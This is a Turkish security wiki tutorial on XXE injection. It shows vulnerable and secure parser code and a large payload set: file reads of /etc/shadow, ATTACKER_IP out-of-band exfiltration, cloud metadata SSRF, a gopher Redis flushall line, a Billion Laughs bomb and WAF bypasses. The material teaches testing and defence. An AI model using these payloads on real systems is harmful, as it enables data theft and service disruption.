XML External Entity (XXE) Injection
> Yazar: Emre Ermenek
XML External Entity (XXE) zafiyeti, modern siber güvenlik operasyonlarında sunucu taraflı istismarların en yıkıcı vektörlerinden biridir. Web uygulamalarının, mikroservislerin ve B2B entegrasyonlarının temel veri taşıma formatlarından biri olan XML'in, güvensiz ayrıştırıcılar (parsers) tarafından işlenmesi sonucu ortaya çıkar. Red Team operasyonlarında XXE; basit bir veri sızıntısının ötesine geçerek Sunucu Taraflı İstek Sahteciliği (SSRF), İç Ağ Keşfi (Internal Network Pivoting), Denial of Service (DoS) ve belirli koşullarda Uzaktan Kod Çalıştırma (RCE) gibi kritik zincirleme saldırıların kapısını aralar.
Modern mimarilerde JSON popülerleşmiş olsa da, arka planda çalışan SOAP API'ler, SAML tabanlı kimlik doğrulama mekanizmaları, RSS feed'leri ve hatta belge yükleme (SVG, DOCX, PDF işleme) modülleri, gizli XXE yüzeyleri (Hidden Attack Surfaces) barındırmaya devam etmektedir.
How It Works (Teknik Analiz)
XXE'nin kök nedeni (Root Cause), XML 1.0 standardının (W3C Standard) tasarımında yatan esneklik ve ayrıştırıcı kütüphanelerinin (örn. libxml2, Xerces, MSXML) varsayılan (default) konfigürasyonlarının güvenlikten ziyade işlevselliğe odaklanmasıdır.
XML mimarisinde Document Type Definition (DTD), belgenin yapısını tanımlar. DTD içerisinde tanımlanan Entity'ler (varlıklar), makro veya değişken gibi davranır. Ayrıştırıcı (Parser), bir XML belgesini belleğe alıp DOM (Document Object Model) Tree veya SAX (Simple API for XML) Event Stream oluştururken, karşılaştığı Entity referanslarını çözümlemek (resolve) zorundadır.
Zafiyet, ayrıştırıcı SYSTEM anahtar kelimesini gördüğünde tetiklenir. SYSTEM tanımlayıcısı, ayrıştırıcıya işletim sistemi seviyesinde bir URI/URL referansını (RFC 3986 standardına uygun şekilde) getirmesini söyler. Ayrıştırıcı, alt seviyede C standart kütüphanelerini (libc open(), read(), ağ işlemleri için socket()) kullanarak hedef dosyayı veya ağ kaynağını okur ve içeriğini AST (Abstract Syntax Tree) yapısındaki ilgili Node'a yerleştirir. Bu işlem, genellikle herhangi bir yetkilendirme kontrolü veya Schema Validasyonundan önce gerçekleştiği için saldırgan uygulamanın yetkileriyle sistemde okuma/istek yapma hakkı kazanır.
Vulnerable Code Patterns
Aşağıda farklı dillerde sıkça karşılaşılan ve XXE'ye yol açan güvensiz konfigürasyonlar listelenmiştir.
PHP (libxml tabanlı güvensiz kullanım):
// libxml_disable_entity_loader(false) kullanımı harici entity yüklenmesine izin verir.
// PHP 8.0 öncesinde varsayılan olarak bu durum tehlikelidir.
$xmlData = file_get_contents('php://input');
$doc = new DOMDocument();
// LIBXML_NOENT bayrağı, entity'lerin otomatik olarak genişletilmesini söyler!
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = $doc->getElementsByTagName('userInfo')[0]->textContent;
echo "Processed: " . $info;
Java (DocumentBuilderFactory güvensiz konfigürasyon):
String xmlInput = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>";
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// DTD ve External Entities kısıtlanmamış!
// dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // EKSİK!
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));
C# / .NET (XmlTextReader legacy kullanım):
string xmlData = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///c:/boot.ini\">]><foo>&xxe;</foo>";
XmlTextReader reader = new XmlTextReader(new StringReader(xmlData));
// ProhibitDtd (veya DtdProcessing.Prohibit) eksik. Ayrıştırıcı DTD'yi işleyecek.
reader.DtdProcessing = DtdProcessing.Parse; // Güvensiz yapılandırma!
while (reader.Read()) {
Console.WriteLine(reader.Value);
}
Detection & Enumeration (Keşif ve Analiz)
Hedef sistemde XXE yüzeylerini tespit etmek her zaman doğrudan XML gönderimiyle sınırlı değildir. Gelişmiş keşif metodolojileri şunları içerir:
- Content-Type Fuzzing (Gizli Yüzey Keşfi): Uygulama
application/jsonveyaapplication/x-www-form-urlencodedkabul ediyorsa, isteği Burp Suite üzerinden yakalayıp HTTP Header kısmınıContent-Type: application/xmlveyatext/xmlolarak değiştirerek body kısmına XML verisi enjekte etmek. Arka planda polimorfik bir ayrıştırıcı (örn. Spring Framework'te Jackson/XML) varsa zafiyet tetiklenebilir. - Error-Based Enumeration: Ayrıştırıcıya bilerek syntax hatası olan (veya var olmayan bir dosyayı okutmaya çalışan) XML gönderilir. Dönen Stack Trace veya detaylı HTTP 500 hataları (örn.
java.io.FileNotFoundException: /does/not/exist) ayrıştırıcının harici varlıkları işlediğinin kesin kanıtıdır. - Time-Based Inference: Eğer sistem (Blind XXE) hiçbir yanıt döndürmüyorsa, DTD içerisine
/dev/randomokunması veya saldırganın kontrolündeki sunucuya yavaş yanıt veren bir port üzerinden (veya var olmayan bir IP'yehttp://10.0.0.1:9999üzerinden) bağlantı yaptırılır. Sunucu yanıt süresindeki radikal artış, zafiyetin varlığını doğrular.
Attack Vectors & Exploitation (İstismar Vektörleri)
In-Band (Classic) XXE
Saldırganın gönderdiği XML yapısındaki Entity, uygulamanın doğrudan HTTP yanıtına yansıdığında kullanılır. En hızlı ve doğrudan istismar yöntemidir. Saldırgan dosyaları okuyabilir veya yerel ağdaki kaynakların banner bilgilerini HTTP Response body içerisinde görebilir.
Out-of-Band (Blind) XXE
Uygulama XML'i işliyor ancak sonucu HTTP yanıtında göstermiyorsa kullanılır. Veriyi sızdırmak (Exfiltration) için saldırgan, kurban sunucunun kendi kontrolündeki bir dinleyiciye (Burp Collaborator, Interactsh veya Custom Python HTTP Server) DNS veya HTTP isteği atmasını sağlar. İki aşamalı bir DTD (Parameter Entities %) kullanılarak dosya içeriği URL parametresi veya HTTP başlığı olarak dışarı taşınır.
Error-Based XXE
Uygulama işlediği veriyi yansıtmasa bile detaylı hata mesajları döndürüyorsa kullanılır. Saldırgan, okumak istediği dosyanın içeriğini var olmayan bir URL'nin parçası (veya geçersiz bir URI formati) haline getiren bir Parameter Entity zinciri oluşturur. XML Parser bu geçersiz URL'ye istek yapmaya çalışırken hata fırlatır ve dosya içeriği hata mesajının içinde (örneğin: java.net.MalformedURLException: Protocol not found: root:x:0:0...) ifşa olur.
Server-Side Request Forgery (SSRF) via XXE
Harici varlık (External Entity) yerel bir dosyayı okumak yerine, iç ağdaki (Internal Network) sistemlere veya Cloud Metadata servislerine (örn. AWS 169.254.169.254) HTTP/HTTPS isteği yapmak için kullanılır. Port taraması yapmak ve iç ağdaki REST API'leri istismar etmek için kritik bir vektördür.
XInclude Attacks
Saldırgan tüm XML dökümanını kontrol edemediğinde (örneğin sadece tek bir SOAP parametresine veya XML içindeki bir <name> tag'ine müdahale edebildiğinde) DTD (<!DOCTYPE) tanımlaması yapamaz. Bu durumda W3C standardı olan XInclude kullanılarak ayrıştırıcının başka bir dosyayı mevcut belgenin içine dahil etmesi sağlanır.
File Upload XXE (SVG, DOCX, XLSX)
Uygulama doğrudan XML verisi kabul etmiyorsa ancak resim, belge veya tablo yüklemelerine izin veriyorsa kullanılır. SVG dosyaları saf XML tabanlıdır. DOCX, XLSX ve ODT formatları ise aslında içi XML dosyalarıyla dolu ZIP arşivleridir. ZIP arşivi açılıp içerisindeki [Content_Types].xml veya document.xml modifiye edilerek XXE payload'u yerleştirilir ve tekrar paketlenerek sisteme yüklenir.
Payloads & Advanced Commands
Basic File Disclosure Payloads
Klasik In-Band okuma komutları. Farklı işletim sistemleri ve dizin yapıları için varyasyonlar.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/inetpub/wwwroot/web.config">]>
<root>&xxe;</root>
PHP Wrapper Payloads
PHP tabanlı sistemlerde file:// protokolü metin dosyası içindeki &, < gibi XML karakterlerinde hata verebilir. Base64 encoding kullanarak veriyi güvenle çekmek (Bypass XML Parsing Errors) için PHP filtreleri kullanılır.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
Out-of-Band (OOB) Exfiltration Payloads
Veriyi dışarı sızdırmak için saldırgan sunucusunda barındırılan harici bir DTD dosyasına (evil.dtd) ihtiyaç vardır.
Adım 1: Saldırgan sunucusundaki evil.dtd içeriği:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ATTACKER_IP:8000/?data=%file;'>">
%eval;
%exfiltrate;
Adım 2: Kurbana gönderilen Payload:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_IP:8000/evil.dtd">
<data>&exfiltrate;</data>
Error-Based Payloads
Uygulama hata gösteriyorsa veriyi hata mesajı içine gömme tekniği.
Saldırgan sunucusundaki error.dtd içeriği:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Kurbana gönderilen Payload:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://ATTACKER_IP/error.dtd">
%ext;
]>
<message></message>
SSRF & Internal Network Scanning Payloads
Hedef sistem üzerinden iç ağ kaynaklarına veya Metadata sunucularına erişim sağlama.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin/settings">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.0.0.1:§PORT§/">]>
<root>&xxe;</root>
XInclude Attacks Payloads
Ana <!DOCTYPE> bloklarını kullanamadığımız senaryolar için NameSpace enjeksiyonu.
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/shadow" parse="text">
<xi:fallback>Access Denied but trying anyway...</xi:fallback>
</xi:include>
</foo>
SVG Image XXE Payloads
Profil fotoğrafı veya resim yükleme alanlarına yüklenecek malicious .svg dosyası içeriği.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
DoS & XML Bomb Payloads (Billion Laughs)
Asimetrik kaynak tüketimi yaparak sunucu bellek/işlemci kapasitesini dondurma (Denial of Service).
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Exotic Protocols
Ayrıştırıcının (Özellikle Java) desteklediği nadir protokollerle RCE veya veri maniplasyonu.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_flushall%0Aquit">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "dict://localhost:111/">]>
<root>&xxe;</root>
Bypass & Obfuscation (Atlatma Teknikleri)
WAF (Web Application Firewall) veya IPS cihazları genellikle <!DOCTYPE, SYSTEM, file:/// gibi statik string imzalarını arar. Bu filtreleri aşmak için aşağıdaki teknikler kullanılır.
UTF-7 / UTF-16 Encoding Bypass
XML, kendi encoding yapısını deklare edebilir. WAF sadece ASCII veya UTF-8 denetliyorsa, tüm XML belgesi UTF-16 veya UTF-7'ye çevrilerek denetim atlatılır.
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Whitespace and Line-Feed Obfuscation
Regex kurallarını kırmak için elementler ve tagler arasına aşırı boşluk veya yeni satır eklenmesi.
<?xml version="1.0"?>
<!DOCTYPE
foo
[<!ENTITY
xxe
SYSTEM
"file:///etc/passwd"
>]>
<root>&xxe;</root>
Parameter Entities for Keyword Obfuscation
WAF SYSTEM "file: paternini yasaklamışsa, DTD içinde entity'ler parçalanıp birleştirilerek (Eğer parser bunu destekliyorsa) bypass sağlanır. (OOB DTD'si içinde uygulanır)
Remediation & Prevention (Önleme ve Savunma)
XXE'yi önlemenin tek mutlak yolu, XML ayrıştırıcısının işlevselliğini "Zararlı Olabilecek Özellikler" açısından tamamen kısıtlamaktır.
- Komple Kapatma (Best Practice): Eğer uygulamanız DTD'lere veya External Entity'lere ihtiyaç duymuyorsa bunları tamamen devre dışı bırakın.
- Alternatif Veri Formatları: Mümkünse XML yerine JSON kullanın (JSON mimarisinde DTD veya Entity kavramı yoktur, XXE barındırmaz).
- White-Listing (Zorunlu İse): Eğer XInclude veya DTD zorunluysa, ayrıştırıcının yalnızca lokal (güvenilir) dosyalara sınırlı bir dizin üzerinden erişimine izin veren bir Entity Resolver yazın.
Güvenli Kod Örnekleri:
Java (Güvenli Yapılandırma):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// DTD kullanımını tamamen engelle (En etkili koruma)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// External General Entities'i engelle
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// External Parameter Entities'i engelle
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// DTD okumasını engelle
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
PHP (Güvenli Yapılandırma):
// PHP 8 öncesi için kritik. PHP 8.0 ve sonrasında varsayılan olarak zaten kapalıdır.
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xmlData);
C# / .NET (Güvenli Yapılandırma):
XmlReaderSettings settings = new XmlReaderSettings();
// Prohibit, DTD deklarasyonu bulunduğunda exception fırlatır
settings.DtdProcessing = DtdProcessing.Prohibit;
// Harici kaynakların çözümlenmesini engeller
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite Professional | OOB Tespiti (Collaborator) & Fuzzing | Manuel GUI Kullanımı (Repeater / Intruder) |
| XXEinjector | Otopilot XXE Sömürüsü ve Dosya Çekimi | ruby XXEinjector.rb --host=192.168.1.10 --file=req.txt --path=/etc/passwd --oob=http |
| XMLStarlet | CLI üzerinden hızlı XML yapısı testi ve Validasyonu | xmlstarlet val -e test.xml |
| Interactsh | Out-of-Band XXE Tespiti için DNS/HTTP Dinleyici | interactsh-client -v |
| DTD-Fuzzer | WAF atlatmak için DTD Payloadları Üretimi | python3 dtd-fuzzer.py -u http://target.com/api |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv